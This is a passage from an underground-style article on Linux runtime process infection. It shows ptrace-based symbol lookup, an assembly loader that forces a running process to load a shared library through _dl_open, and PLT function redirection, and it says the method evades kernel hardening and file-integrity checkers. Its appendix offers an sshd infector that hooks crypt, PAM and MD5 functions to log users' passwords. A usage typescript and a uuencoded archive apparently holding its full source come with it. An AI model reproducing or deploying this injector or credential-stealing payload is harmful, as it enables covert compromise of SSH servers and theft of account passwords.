/* find symbol in DT_SYMTAB */

unsigned long
find_sym_in_tables(int pid, struct link_map *map , char *sym_name)
{
        Elf32_Sym       *sym = malloc(sizeof(Elf32_Sym));
        char            *str;
        int             i;

        i = 0;

        while (i < nchains) {
                read_data(pid, symtab+(i*sizeof(Elf32_Sym)), sym,
                        sizeof(Elf32_Sym));
                i++;

                if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) continue;

                /* read symbol name from the string table */
                str = read_str(pid, strtab + sym->st_name);

                if(strncmp(str , sym_name , strlen(sym_name)) == 0)
                        return(map->l_addr+sym->st_value);
        }

        /* no symbol found, return 0 */
        return 0;
}
```

We use nchains (number of items in chain array) stored from DT_HASH to check how many symbols each lib has so we know where to stop reading in case the wanted symbol is not found.

--[4 - plain asm code injection - old fashioned way

We are gonna skip this part because of lack of time and interest. Simple pure-asm code injectors have been around for quite sometime already, and techniq is probably already clear, since it just really is poking opcodes into process memory, overwriting old data, allocating space with sbrk() or finding space otherwhere for own code. However, there is another method with which you do not have to worry about finding space for your code (atleast when playing with dynamically linked binaries) and we are coming to it next.

--[5 - .so injection - easy way

Instead of injecting pure asm code we could force the process to load our shared library and let the runtime dynamic linker to do all dirty work for us. Benefits of this is the simplicity, we can write the whole .so with pure C and call external symbols. libdl offers a programming interface to dynamic linking loader, but a quick look to libdl sources show us that dlopen() , dlsym() and dlclose() are quite much just wrapper functions with some extra error checking, while the real functions are residing in libc. here's the prototype to _dl_open() from glibc-2.2.4/elf/dl-open.c:

```
        void *
        internal_function
        _dl_open (const char *file, int mode, const void *caller);
```

Parameters are pretty much the same as in dlopen(), having only one 'extra' parameter *caller, which is pointer to calling routine and its not really important to us and we can safely ignore it. We will not need other dl* functions now either.

So, we know which function we can be used to load our shared library, and now we could write a small asm code snippet which calls _dl_open() and loads our lib and thats exactly what we are gonna do. One thing to remember is that _dl_open() is defined as an 'internal_function', which means the function parameters are passed in slightly different way, via registers instead of stack. See the parameters order here:

```
        EAX = const char *file
        ECX = const void *caller (we set it to NULL)
        EDX = int mode (RTLD_LAZY)
```

Asset with this information, we will introduce our tiny .so loader code:

```
        _start: jmp string

        begin:  pop     eax                     ; char *file
                xor     ecx     ,ecx            ; *caller
                mov     edx     ,0x1            ; int mode

                mov     ebx,    0x12345678      ; addr of _dl_open()
                call    ebx                     ; call _dl_open!
                add     esp,    0x4

                int3                            ; breakpoint


        string: call begin
                db "/tmp/ourlibby.so",0x00
```

With good'old aleph1-style trick we make our loader position independent (well it actually does not have to be, since we can place it anywhere we want to). We also place int3 after 'call' so process stops execution there and we can overwrite our loader with backed up, orginal code again. _dl_open() address is not known yet, but we can easily patch it into code afterwards.

A cleaner way would be getting the registers with ptrace(pid, PTRACE_GETREGS,...) and write the parameters to user_regs_struct structure, store libpath string in the stack and inject plain int 0x80 and int3, but it is really just a matter of taste and lazyness how you do this. About .so injection, this obviously will not work with staticly compiled binaries since static binaries do not even have dynamic linker loaded. For such binaries one has to think of something else, maybe plain-asm code injection or something. Another disadvantage of injecting shared objects is that it can be easily noticed by peeking into /proc/<pid>/maps. Though one can use lkm's / kmem patching to hide them, or maybe infecting existing already loaded libs with new symbols and then forcing to reload them. However, if anyone has good ideas how to solve these problems, I would like to hear about them.

--[6 - A brief note about shared lib redirection

For runtime infection, function redirection is prolly the most obvious thing to do. Like Silvio Cesare showed us on his paper [2], PLT (Procedure Linkage Table) is prolly the cleanest and easiest way to do this. Getting our hands on executable's PLT via the linkmap is easy, the very first node of the link_map list has pointers to executables dynamic sections, and from there we can look for DT_SYMTAB section (just as we do with all objects), executables DT_SYMTAB entries are in fact part of the PLT. Redirection is done by placing jumps into the corresponding function entries on the PLT, to our functions in .so what we loaded.

--[7 - Conclusion

Runtime infection is a quite interesting technique indeed. It does not only pass pax, openwall and other such kernel patches, but tripwire and other file integrity checkers as well. As a demonstration of runtime infection abilities I have included little sshd-infector at the end of this article. It is capable of snooping crypt(), PAM and md5 passwords of users logged via sshd. See Appendix A.

--[8 - References

[1] More elf buggery, bugtraq post, by grugq
    http://online.securityfocus.com/archive/1/274283/2002-07-10/2002-07-16/2

[2] Shared lib redirection by Silvio Cesare
    http://www.big.net.au/~silvio/lib-redirection.txt

    Subversive Dynamic Linking, by grugq
    http://online.securityfocus.com/data/library/subversiveld.pdf

    Shaun Clowes's Blackhat 2001 presentation slides
    http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt

    Tool Interface Standard (TIS) Executable and Linking Format Specification
    http://x86.ddj.com/ftp/manuals/tools/elf.pdf

    ptrace(2) man page
    http://www.die.net/doc/linux/man/man2/ptrace.2.html

--[Appendix A - sshfucker: runtime sshd infector

sshf typescript:

```
root@:/tmp> tar zxvf sshf.tgz
sshf/
sshf/sshf.c
sshf/evilsshd.c
sshf/Makefile.in
sshf/config.h.in
sshf/configure
root@:/tmp> cd sshf
root@:/tmp/sshf> ./configure ; make
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for pam_start in -lpam... yes
checking for MD5_Update in -lcrypto... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam
-DHAVE_CONFIG_H
gcc -w -o sshf sshf.c
root@:/tmp/sshf> ps auwx | grep sshd
root      9597  0.0  0.3  2840 1312 ?        S    03:04   0:00 sshd
root@:/tmp/sshf>
root@:/tmp/sshf> ./sshf 9597 /tmp/sshf/evilsshd.so
attached to pid 9597
```

```
_dl_open at 0x4023014c
stopped 9597 at 0x402017ee
jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!
org crypt() at 0x804b860, evil crypt at 0x40265d60
org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...
root@:/tmp/sshf>
root@:/tmp/sshf> ssh -l luser 127.0.0.1
luser@127.0.0.1’s password:
[luser@localhost:˜>ls -al /tmp/.sshd_passwordz
-rw-r--r--    1 root     root          104 Jul 14 03:27
/tmp/.sshd_passwordz
[luser@localhost:˜>exit
```

Enjoy.

```
begin 644 sshf.tgz
M’XL("(G",#T"`W-S:&8N=&%R`.P\^UO;R*[]U?XKAA1*`B$DX=$6-MRE(:6<
MY74AW9Z>TILU]B1Q<6ROQP;2+?_[E33C9QS:\]WMGN_;6[=)[!E)(VDDC>9A
MA!@/UY]\WZO9W&P^W]J"WV:SM;F9^U77$P!H;<*_UO.-)\U6\WFK^81M/?D+
MKDB$1L#8DW#LW3P.QP/QY&]W">Q___&J8WZ___6\WF=J’?T_YO;S2;SU7_;VPW
M-Z"\U6ZVMI^PYH_^_^[7^@K3V0H#"[#6AI%YPX,&"R(WM"><"IGM#KD9>D&=
M^480,F_(X,<V’8ZWY^/`,&_8ULL&$CD*EP5SO9`9$6@S$&QH1$[(["$+Q[9@
M@H>"3;TH8*8W\:.0!\QSV=`.@%3`A#?A`.:.D!*_Y2Z;>%#C&B*<-EB?"`0F
M@Y\A0’,K,HW0]ES#87X4^)[@`J@Y`(KXIV?]W@Z[X!,^N89F0H^-[%O.!L/(
M<08@2#C&LH;PD`,C&-U^:’]$$=9U_:GMFDYD<?:3""W;:XSW,D61:T-IODQ,
MQ;H?@A[X;’DX];F8+;XS[+!0&@8@>K’,<NSK?)ECN]’].MIBOIP[PQG`F]F&
M)Q/#G2T%#RBP,S3=T"D`VB-0-I;ID8L/W&+FV`ATX3F>8?’@PT?6T1ECE:M[
M?GUUW]JHL/P%I@;7IXF//ZTM3=-`WQ)AZT41.$7P/4)8XL9]%F6C=75OOBQO
MXQXLA%#,^SI^9="NC:O[)J`VF_&GDJ!-O%O\66S>MP#-RJ&!1,]?`*/;T/(F
M2-<N16MO;&YM/W\!V-?W*?)P>’5OS5&’:3@._*P01J;!%QL@’C34W*S,X!B6
MI1K<A):$GT$SS?F*M-UP0\NVP5_(#_(G/Y7=`E]M"0_?*9VQS2:_<_:,3;GC
M&&R!(`I&`;T\,#V+HU$P0(?6MJ&E;=#X<_B\@,]+U#Q0]",Q9M:=%UBL"84O
MFL^;VTU&C:)`&PA)T+M9>0(>LCH$&U]]RPL9R;#B>.Y($]-):%SO%DO#@$I!
M*9KF`L^V*W9U_=:S+5UZ\\`(0\,<5P&"^;95T___0-7M8K<K:ZGG_8K_;&^SW
M^_O=-\`$@,#WZ=OC8_53J[&?6+/&_M#9G,OG0>`%U4JNO4IM=RX"O[?#ZEH+
M(+0’7=<PC$"SU5S3[]Z>$F<’`/60%\CTW#`O#MRCU"5R=<].^X]+I6D%_I$\
M<J]I13[’-@P7U85W1Z\O^V?GY[V#J@`Z>?:?"63^].S-_NGA+.L6+^N+/,L’
M/>R*,I[GLBS)EC"MFF=ZP`UK8!FA$;<--’.6A-X80"&!K]P"X2P$(CG<3;1M
M0Z7IP?@*K1`VVCW<YTFN()4.JQ9*:PS)8W\1"8"PX=/<354LRW^B)C.&IY%W
M=5A>7^>]WB_]WC^QFY5@*,HJT5"*FS5%V<)JAVW.U@’Y#_;J*KJ\%"NNR.CS
M+K!#_OT5"I7`1:RF1U2D:9`CF/ZT^HQT5"<52QW`@[`_<V]8Q:H:&4FY(L]^
MZ:$BZS-JA`?"1=18<YOXD+$Q’?(BQ*CF(BA;N8Z&@!YK9(H2Q_I<J4)E#?C`
MBMU\\6HKKF![>^Q%L;:=K6UM%ZLWLM7MS=0/`VY!HF8F\4-Q-@R\B;H-O2R+
ML5#Q0+#:`F$`)&TP8PE2;4@+?F*,5/UQ24W&!1UB=V2&&J8X@XGALQ7=\2`;
MY`,L@8)LF(A;ZSG#C?:@-[8")2Z7MQTV@9’.,ZNJK12NEN%5EIZGV/YCV.>E
MV`=3-U:U)6_+L0%N%OD=VAU=(R],*Z4F6*H)1Y87*1?@LO3SO@=.#,P/E`L"
MG_$M8-$M>I*NP0`,>;L(V1T’:^4P!:#.@RR4C3DF@Q+#![)&",,ZC.J;+V"N
M!\7><`BV`::@:Y"H^X$W"HQ)C`5#,O@HT;H;<TC_@7X83#%9EUW,SON#@_>G
M^R=’73`Q$V<`#20$X[Z6AFII3[EFJ;L3B\KWLJZE0G>R:*N$MK;’!_X8^-XM
M:23!E+?%)F)3T)+X0V!K>_X`YP9LH9.52`:D7!.9%C#JSA*7`/.:?8#$#3P&
M.\SU[L!X8"H6>-%HC’UK3&PSUB+#.9^#^A[:KD4AC`N!<[S#LWZ)?NN)’+=2
M>J!78$(9,HB>V%$GCY4)RXB_MF<-0F.$2CGH#\Z/^]ATJ4X2@D658)N/\?*`
M[(`+X>B:>E8M;CUR&]9`C;$(1>,<IIN@)0_4@@QQ%RRR#@FHG%S^EU2.4O"G
M")P"F57^D7@FQ+H),X`$)*Y1X,)SJ5+S0WX-O1U2H]CYP+HV48JB$<;U$(E3
M`RSQ>8T:I/:=;&B’*=SM@’Q/9$;EF>""5’#<_3_%LV*\47:@:\I`BAJ`1M?V
MG(%CE<C]%<LK-2YI3^+.#LUQ68UF&H*C_;W9OWRS@P4EQI>UE=5-B!.*2\G0
M,S6?2+A2SS*%T+1K(’B#[*6-7?8O^ONO9’-R:@*JF#’*##*F$!GT]R<I.LUW
MO@G=XK1"LY.OP91=F^M=N[/>F(X6;*[;Z=HPX+QJ$05XE#F.3*]!X,>3P>Q`
M3J68:;;:+SZF9D7TY"I*H49EC&AC"0WNJF%27H"0PI<9&09ZRD,Q:]Q-"5U_
MYH%7E<UF’0\>:UDX*’(QR9150*>*_$)"+ZE",1"NJD(HRSJ,<EB)*A.@G(IT
M#-@#Z/6![1:<N-R’,6,F[2,.#`(\X]27TTGLU%`[QZ,!B’H5J<#D7Y!MT43:
MIG"O9B7IF&=#OAW[0%DXER:[6K579MNAVH)9Q0QH,-M0MFP/(:`?O\;*_J#_
```

```
M_KQ7!;2U/1&"5H9>#<>4RWY_\/KM:;?&<*9JNQ%7N()F6XDIQHI#+UIE,1E2
M%`F%,T_JT(F/OXPXI/JT*Q/50CX-RJCI%$:P(ZN94+$:$[\UG(A3Q'J(QQ(D
M>NTY;`C3!JL>6X%<&(D?`.%!>\P<'/LZXUGY7D\*`(@L0*7525ZMH;'4H7[@
M!_PV,TFEB18%&HHIT@R`"E+]T-[:_HB"2/-!,T"3Z[!"BH[I.87]>'$`X9\]
MBP.IR^_#4E.9,SP@/(V#CPY_FA2%S#I!4T;PC>V`B!`%I*Q)6^I9CCG8?;C`
M;4#ZJBIP"=P.Y=HXK4O0ZA::+.J>9>PIH0PWB3$A$%EPL\8H5!?L-S^`$_LH
M,=;*7BB)$#%4:KQQG([C#?;N`]%G8&-@1?H$')C,R0A&9FP]M'K^,9F/2TNC
M>*L,BK&<027E&JYB#P(^$@,%"/>?,VBX+`VR%E='8-AR/)^#<7LE==[`#*8^
MVH*\*8,8\5#X"$$W91"^,1%$@V[F0!@QA%$*,;&VZAH`P&]9-4AI3I``W60A
M5%B]-LR;"#T'+::D7JZZI_6TC,>JV#<0;C?4>A<,&N&P6HF$,>([;$FPGZ"'
M]G!_X!JW0?:NW`J.<=B)S8]EBW=@G*CMJMHEJ;.SP<7!V>GQ^^RJFFJ%%M=V
M*'A%D%T-P;.!?AE5-),.S`T]6Q)N?:1H`!6YM5<9)1+ZLA14`/-!I+!D`7E:
M=:GM:C)PJFGBP'(&Q'8-?$VJIKI030VGX!08)\DC*C$B:J6R#N7X,1N56JU$
MU`5<87(L=SF4LZ9,JPMLIUJ=(WS*YI#?L6'DT@Q,P)37!JW!%.S.<%V#C>U/
MN+F&L>*1$#K?^_78&;X6`2H$1:PJY_@J!D%!U%!(Y"9?10*H`>ZVABF6\6U8
MN*$(\RX;Y5?(X%9?13TYV!J\]:T4B7SMJV@J&%?0J+34^N+>Q26-)9\L+S4H
MTC?N9A@XK\@8`J6/0`!7,,AA:6T+.S5>(HLWT%9;K1F*)<O<A[W^1>_PLK@X
M_PRCI_+)U-Y2[D7HT7K,DI7AGX1&Q`:W_42$@-/@A=NCBF>:JF+6G$P(8J9K
MF"+)84I%B!JMQ*K89,KT$5'K3#*DUEL5"(P_BE)]AC12RD&O%B'66G'PPLA4
MX$/F%R"0BJ0XN,NUI4605LJ4!-E)RNAJR20[U5)=D8OG`K@Q1JW0>F96:=#E
M:4/YU<XLN5AZ12[ML4_&9$%F#@QN!<,%L7J\'!9RQ^6A-"S:I_<]W)V'.="$
M=M%EZ$GB*6W]J)Q+H^TSL`?HXZQJT";GLUF0.F^3EX_99$XHB*;`]">UZ&1Y
M+E]043*_TZ."&V`*AW._VHHYQU468TB'!Z*`$3DA=4CL8BR4<97?VDXFN.[M
MU&1/E(TPR61K4AHQT^%A,I4`E=3N,E.U26GTS&$G@;,<ORR0YO#3&#J7@/%5
M`KEPRNIE=&;#:XX*5`\B&5G+^2B+M#$%)!#'V)P>J8.],?ZG$R/P/QHYTSI,
MXMD-=CR:J$QSXJ$-IPSR-C\^>\&(43&&8(QW=6D0$BN-@,5\D8PN2R3NL!R5
M?*$BE$\KY5P@V38AS94V5@29(2,7+:70TCY(:+J=%3HQD(+@27F.YWRB.R-\
MT5A*:&:KBZ0-W`!3-EE+)BMY<<O`2F!$`H-L:G%NBCI!4R6-P,VL/N*959[S
M0JEB.9^3SV@C32<*U*!"EN>HX01`<277#8IBE317!,G3>-`S`SH>T,#X6:>0
M^'MDAWB"J-$H1/Y\/$V#:681`<@^^7']_[SH_"<:,281W^D,Z./G/YN;FYL;
\?E?>-S"\Y_;SYL_SG_^-><_Y7G+V``86X-4SS*$B--*6W@N+EKC642$]:-K
QS;9+:@#$JN28Z%N>BP4X1U.QT)I&0SW?6-,UFRTL/XZO*,C94#E&6XFNPMT
$),]?A*3QL]O/G`Y>\*12CWSAI>5<P="<`EQ>U(XXPDIN`V?==O]^OG)DA.>
I<=)DW.6^<9MSY0D=?VIQ2&MXMKQV>'KH^.>IE76PXF_WL`.@Q%2"#QS\KF"
9UF'`,K>[/]*![I>'QT.WJ1D*S`I&-K`4D5_REW+'L8(&B$<'[TZWS_)+R[C
B#^6"V]S4+H7[\_[9RF6&..\!-/%H6.,Y(IP'I454&FE,4D0J\`DC/UJZ;I%
IWTR!6VUXS0(&9T)TG.+\PA>66PM8I:YH5;BL[RT=M/US@Q67;3K;BUS""V7
\%;EP20SO(]YD04X:2KN7B4GE2!1B=N5*0JNE4ZF0TMF!G@'_-"2@>I5ABMM
W8O>?O_+V6#__+QW>@`W[RYPZ:W.,)[*`TDX8:L2?EU.XY)Y,#Z!%)1UY<`J
<M&O)8\E.9Z0-?28[ZGL@G`UD_Z`\&ES**14UGPS@CDR2JQG9S#YKN7!K6WR
?/=BS(T/@D'Y;7R_0F;H)XO.B2)C\RS91Y8HN*+PF*[9%Q9KFY6H.Z=&Y"[5
-C[59F`J.U=-U'6;]LMRJDX5FVHDU@()3A(K21\Y%)I>V`59+><R=ZDY)%>G
+5&&O2Q(A;,[KFISCUU'0]K0`0E6_'B;KT3=ZD!@<I9.[H.K-FM)U(C/+U!R
BGTDN[D6'P+X\_HFMZ^J-E3G.T'!!_(]D],B2H)'U4AW9/32YO&,2-;<<:5!
;7''2P8Y<[_ATT(D,YQ0!;!$PW^B/J"]5!_P\&_H(]&&E$)10G;)Y]5NC?#O
+"EL/#=6G4M;2UI!LL1B_SP)\_NO\79<T1OG='G:XPGW,84'_>^?_Y\8-QPW
:QJV^Q_(_YOM[<WX_:^MS>T6YO_/MY[_R/__BJO;!>_[N=O]68?(=8GW^/NS
_OIX_Q`?U^[8VO#\J,O6!+@SM_2#WFL"P]^?==UPG)WL]$&^2JAKB]5NM\86
JT2GQM:\%$AX680U1R[)+5:Q841!RK68`K9/*]S#F/2/Q8H_W?_CB<!_R/^;
6ZW$_]N;V^3_&S_F_W_)]31RLW,PG/$5BM2T[(>K_-W]/PKX]WO_>^[[_^V-
C>96._7_[3:M_[4W?OC_7^+_"VS]VG;7Q5A_R@XC//-/AQ'E:]9B*D(^6;,X
I.<63(*@+K#IO`2=93<#CIL><?HH&DB#NSR`4HM=3]E^%'IH7*S=V&I#+=1W
/7\:V*-QR%HO7[;K^+U!WYOTO47?V_3]@KY?PNP9[(2^6T#@=<`YN_2&X1T>
4GB-QR/I3?`Z.W)-Y(#>%4],F@DSL"&_P!?'$5,HS%T&T[JYQ(`,OC$N6.0Z
]L1&<7P>3&Q!*Y>A!_1]F,%9-B[K74>X\P/ZF'@P%9PR.VSH0&"?IK]2=[B`
&OF`VH4LRC!Q^_K"<$>H,D/`_'#@\!`*16?9N#8A^H[&]J<;9^)Z_N^!"*/;
N_OIYV4%>MSK]WL7EYWE_5==R)4.WQS]XY?CD].S\_^^N.R__?7=/]__*P%5
5!=SC2SFZ"A0RQ[9(;3?C%]B?AD3,1PWFL0DCG,D)!(*>PD:XO<^OC2B-(1G
E@QU;)EY>$[!0-,"E<1&1',V4D`8#,2X4Q%`9+JTLKKD^TN[8NG#_PP6,RQ\
7!HLC2K_;F/=\_-<.Z;O)PWEU;)TGE?,HRR\XNR5!S-&+L]ZAC;(H^-?.N`P
I5]S667QCW]=OAG\"G2.SDY7!0\?*KA+6>63R$&G$>,:VUNW^.VZ&SD.:^\]
:Y%)NC`Y3F'@`<]2=$\..CLZ=_(-O-HO;0%?KX*<V?>$?3^_C2R4/K11IE.<
0GM#<@Q^S\V(CD:1XB:\\QLWQQXTVZRP+ZB_95%OK'RXNEK_6*\O_Z:C\-@G
H/@=MGQ5-:YJRW,;!XH(V\$O$$OP3-G0P&?D*)C`W(,\>7%1_32`K_@60XY.
3.UE2X`/QX7I2A8L)M).&4IX><K><7F.3[Z]H]YG@^AW\(_#\_-=!NXMCR.0
ZHT:OM)Y(Q@>W!7RCU2,,.;9)A&CN`@P-L@<<#PRJPS1<TTN23(1^7A<1^`A
6SS-)UA55K0;S<U:`^@D'3W,")ZPC.T<>'CL$$8EE-8`OE"D.XY;PE`^-FXQ
M)$WI[*T@%-"OXP[`PTV?K?G+:&92\9DJ4AQ6@?K)VJ#@&]48TW#<3(?F&@2:
```

```
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
L`O:D`FDN\U%39_Y/E?68+TO_:'"+N@:SX6S+>?+*.5/!VW(;Z1DXS;*7;:L
`.@/%39-D4RY+9'+NBF3^^E]Z0\[L?SM@C:4Z8>IP/;%<`O*J2:D(U+?_J=:
M8QRCDU58C8BI)F=4-"N!B\Z-24>XIM@X_]/[TA^IDBYH0R8@OZGA]9HI(^SQ
M1<K9[N3$9:/T^-K8=+;4M_^9@:"35=@%;<A.FM?L[+PQSX4*I8,V9`+RRS_^
*$I9'C[AXY055/VAPBYH0R9@.B#ELRT?]O@L=;_S3NAX.JGV1NJ,[HV`&+>P
XJI(N!"DW"_]H<)VANC3AK@MCK.KR`%(MCQ>DW]F1.I;U\91WI?^4&$7M"';
/L=N5DWT^'=49GY,.L(VT\7YG]Z7_E!A'X@-F8#\\H^_&OW&\J+T69+E;*=R
XK)1:D>ZV'2VU+?_Z7VEP:E$%[0A$S!;PV]^=H>HRT(Z:$,F(+_\XX^F1^][
9'SV0X5=T(9,P'1@)@TNCQA^L^='96+LR*K(U+?_F>ZU?F^QO=>-L/VZ*E)-
LX[/9LW$I"/<R'FO0;-'D)^&/""SHC(QF49#9.K;_\P?0:G/'T%YLBKGM"PO
,F<$,3Z;-1.3CDB/H-0Y>P3M0UJ5WX(5L%12NH5>\LR4><5FQ,\NDAL[*WM.
7'[63(R?#:-26?S/_'7AOU"FUH<_M*E)S"3.'?DYA><7G5EP7K$9A687R2TP
*WM.YG16C,QD2T>D=T'JM3B[&W[%\K].^Q'307[(!.27?TRK^,F9XM)!&S(!
;I0\4BMZ)%%O1]FP"]J0"<BOOP`3[TTI\=Z1\K[TAPJK@4^.728SM,G,=R;_
59:+71'E:E*QZ8C4M_^9@:`_5-@%;4@7E=_4@/JMEW'UWY[+.?W,B]2CJN*S
63,QZ8@<2'X6[TM_J+`/Q";82?;[DS/7?3,O*I`:/4R1,>N[?GE!6Q_&YM0R
M@R(=-"&3$!^4VT8*P:#B(64%3S]H<(N:$.VI>,9G`(GKL`E9GQZ7_K#S0=]
NZ`-F8#\IGKJZI/>.O&)<JI%Z8C4M_^I5PK%Z&05=D$;LF/F:LZ.&X8%YZ:#
-F0"\LL_?O^YK,>$Y2AI3?9#A5W0ADS`]$'#S^G%!\PM\D94,!MV01MBT$9,
21T,QL*,9$R%7="&,/"3S]`VLF#;!BAQ]+E;''0CR&(G<U[EJ,#O]"8GM=_H
FYS`5&]RMI8%W^3<F)@W.8GYZS[)$0-(M33_0<ZPC=Q*H*]K+@8L\WN\D_^+
+89Y[^29Z5"OY-6+N>]N%XJC=Z$1PX5Y26%T,NO3^](?%I=?N.<?"MJ0"?CH
U4E0"G)U-0NFG!V1^O8_U?%RH9]^+OCQQX9=T&!D)=29Q<<752OA*>5F??N?
JC$<HS]4V`5MR`32`^<J-B/GA$_+Z<9E8M(1WGAQG)_%^](?*NR";C!=$[*C
M"?AGQA:;#L=1)SX9]G]#&57"$ML*#P:OQI=AZZBX*B^R)5)+(I4C?!,;GY&X
M;6VQ?<B-*3<=JHJ&'P"=S,14]KQJWBR.XFHMBKH!#.55R`-H*ED00WW)^9(2
MT)31]`X-TW5\%G=YS%08'/;]XU^>[F\K.7@1FR=Y?*-!NUY;E9'T1N+GW9?/
M'C_[81L=*QL(C`E)<K`B3^@52\/9(0ESIYU/C=HBDS*C(692Z-D?[?'I%>UJ
M1RG_'.%&R/,94K+O^I*01TABDEKB=*RC9=0@F"]>:TLWJU5U-*&'$'LN'<+)
MQ.?2C#5(.L%H-DL$?,GL=[:_,Q<@JY<]1+EUV$I0F%7W\%A#M6)TT@!;2&2.
M<?'T/5%VX9:S&#(M1LHV:!9=CZ#4D9;%Q5Q"8:'^9O$MXK-_;),N)P91IA]^
M2J5PQ9!*@,)F#0`L(\`)Z.EOZ#>;D%6U*BW8-E5?.214I9K$ZXZ.\'$,/T>]
ME!L92W7;2S$I6BDS:_X[L`@/J%<D_TW)2$#PZ^0-SLE?9!Y>D5;0&6GO`YH:
M1?$(D.XY-(:UW%'-@M1A$(V-X_<13$8$,];']AT5<5.7`,Q4M#-.,1_FMWLG
